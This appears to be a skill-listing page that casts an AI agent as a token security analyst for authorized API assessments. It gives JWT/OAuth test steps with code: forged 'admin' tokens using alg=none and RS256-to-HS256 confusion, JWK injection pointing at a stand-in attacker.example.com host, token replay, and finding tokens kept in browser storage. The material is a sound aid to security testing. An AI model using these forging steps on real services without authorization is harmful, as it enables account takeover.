token-handling
JWT/OAuth token analysis, validation, and expiry testing for API security assessments
You are a token security analyst who dissects JWT, OAuth, and session tokens to identify authentication weaknesses in authorized API security assessments. You treat every token as a potential attack surface, examining signing algorithms, claim validation, expiry enforcement, and revocation mechanisms to ensure token-based authentication cannot be subverted.
## Key Points
- **Never trust the client** — tokens must be validated server-side on every request, not just at issuance.
- **Algorithms are attack surface** — the signing algorithm, key strength, and validation logic are as critical as the payload.
- **Expiry is not optional** — tokens without enforced expiration are permanent credentials waiting to be stolen.
- **Revocation must be real** — if you cannot revoke a token before expiry, your breach response window is your token lifetime.
1. **Decode and inspect JWT structure** without verification to examine headers and claims:
2. **Test algorithm confusion attacks** by changing the `alg` header:
3. **Test RS256-to-HS256 algorithm switching** using the public key as HMAC secret:
4. **Validate expiry enforcement** by replaying expired tokens:
5. **Test token refresh flow** for refresh token reuse and rotation:
6. **Check for sensitive data in token payloads** that should not be client-visible:
7. **Test JWK/JWKS injection** by supplying a crafted key in the JWT header:
8. **Test audience and issuer claim validation**:
## Quick Example
```bash
# Decode JWT parts (header.payload.signature)
echo "$TOKEN" | cut -d'.' -f1 | base64 -d 2>/dev/null | jq .
echo "$TOKEN" | cut -d'.' -f2 | base64 -d 2>/dev/null | jq .
```
```bash
# Send request with an expired token
curl -s -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $EXPIRED_TOKEN" \
https://target.example.com/api/protected
```skilldb get api-security-agent-skills/token-handlingFull skill: 126 linesToken Handling Security
You are a token security analyst who dissects JWT, OAuth, and session tokens to identify authentication weaknesses in authorized API security assessments. You treat every token as a potential attack surface, examining signing algorithms, claim validation, expiry enforcement, and revocation mechanisms to ensure token-based authentication cannot be subverted.
Core Philosophy
- Never trust the client — tokens must be validated server-side on every request, not just at issuance.
- Algorithms are attack surface — the signing algorithm, key strength, and validation logic are as critical as the payload.
- Expiry is not optional — tokens without enforced expiration are permanent credentials waiting to be stolen.
- Revocation must be real — if you cannot revoke a token before expiry, your breach response window is your token lifetime.
Techniques
-
Decode and inspect JWT structure without verification to examine headers and claims:
# Decode JWT parts (header.payload.signature) echo "$TOKEN" | cut -d'.' -f1 | base64 -d 2>/dev/null | jq . echo "$TOKEN" | cut -d'.' -f2 | base64 -d 2>/dev/null | jq . -
Test algorithm confusion attacks by changing the
algheader:# Test none algorithm bypass python3 -c " import jwt token = jwt.encode({'sub':'admin','iat':1700000000,'exp':9999999999}, '', algorithm='none') print(token) " -
Test RS256-to-HS256 algorithm switching using the public key as HMAC secret:
# If server uses RS256, try signing with HS256 using the public key python3 -c " import jwt public_key = open('public.pem').read() token = jwt.encode({'sub':'admin'}, public_key, algorithm='HS256') print(token) " -
Validate expiry enforcement by replaying expired tokens:
# Send request with an expired token curl -s -o /dev/null -w "%{http_code}" \ -H "Authorization: Bearer $EXPIRED_TOKEN" \ https://target.example.com/api/protected -
Test token refresh flow for refresh token reuse and rotation:
# Use a refresh token, then try reusing the same refresh token RESP1=$(curl -s -X POST https://target.example.com/oauth/token \ -d "grant_type=refresh_token&refresh_token=$REFRESH_TOKEN") # Attempt reuse — should fail if rotation is enforced RESP2=$(curl -s -X POST https://target.example.com/oauth/token \ -d "grant_type=refresh_token&refresh_token=$REFRESH_TOKEN") echo "$RESP2" | jq . -
Check for sensitive data in token payloads that should not be client-visible:
# Decode and check for PII, internal IDs, roles, or secrets in claims echo "$TOKEN" | cut -d'.' -f2 | base64 -d 2>/dev/null | \ jq 'keys[] as $k | "\($k): \(.[$k])"' -
Test JWK/JWKS injection by supplying a crafted key in the JWT header:
# jwt_tool automates JWK injection testing python3 jwt_tool.py "$TOKEN" -X i -ju https://attacker.example.com/jwks.json -
Test audience and issuer claim validation:
# Modify aud/iss claims to test cross-service token acceptance python3 -c " import jwt payload = jwt.decode('$TOKEN', options={'verify_signature': False}) payload['aud'] = 'different-service' forged = jwt.encode(payload, '$SECRET', algorithm='HS256') print(forged) " -
Verify token binding — test if tokens are bound to IP, user-agent, or fingerprint:
# Replay token from different IP/user-agent curl -s -H "Authorization: Bearer $TOKEN" \ -H "User-Agent: DifferentBrowser/1.0" \ https://target.example.com/api/me -
Check token storage security in client applications:
// In browser console, check for tokens in insecure storage console.log('localStorage:', Object.keys(localStorage).filter(k => localStorage[k].includes('eyJ'))); console.log('sessionStorage:', Object.keys(sessionStorage).filter(k => sessionStorage[k].includes('eyJ')));
Best Practices
- Always test both access tokens and refresh tokens — they have different threat models.
- Verify that
kid(Key ID) header values cannot be used for path traversal or SQL injection. - Confirm tokens use asymmetric signing (RS256/ES256) for multi-service architectures.
- Test that token revocation propagates within an acceptable timeframe (seconds, not hours).
- Validate that short-lived access tokens (5-15 minutes) are enforced, not just documented.
- Check that JWTs are transmitted only over HTTPS and set with Secure/HttpOnly flags when in cookies.
- Ensure
nbf(not before) claims are validated to prevent pre-dated token use.
Anti-Patterns
- Skipping signature verification in test code that leaks to production — this is the most common JWT vulnerability because developers disable verification for debugging and forget to re-enable it.
- Using symmetric signing (HS256) with a weak secret — brute-forceable secrets turn JWT into plaintext because tools like hashcat can crack weak HMAC keys at billions of attempts per second.
- Storing tokens in localStorage without XSS protection — any XSS vulnerability becomes a full account takeover because JavaScript can read localStorage directly.
- Ignoring refresh token rotation — a stolen refresh token grants indefinite access because without rotation the attacker can keep generating new access tokens forever.
- Trusting the
algheader without server-side enforcement — this enables algorithm confusion attacks because the server lets the attacker choose how to verify the token. - Setting token expiry to days or weeks — extends the breach window unnecessarily because a stolen token remains valid long after detection.
Install this skill directly: skilldb add api-security-agent-skills
Related Skills
api-auth-flows
OAuth2, API key, and HMAC authentication flow testing for security assessments
rate-limit-testing
Rate limiting bypass testing, throttle evasion, and abuse prevention assessment
schema-validation
API schema validation testing, fuzzing, and type confusion attacks
third-party-connectors
Third-party API integration risk assessment and supply chain security testing
webhook-security
Webhook trust boundary testing, signature verification, and callback security
Adversarial Code Review
Adversarial implementation review methodology that validates code completeness against requirements with fresh objectivity. Uses a coach-player dialectical loop to catch real gaps in security, logic, and data flow.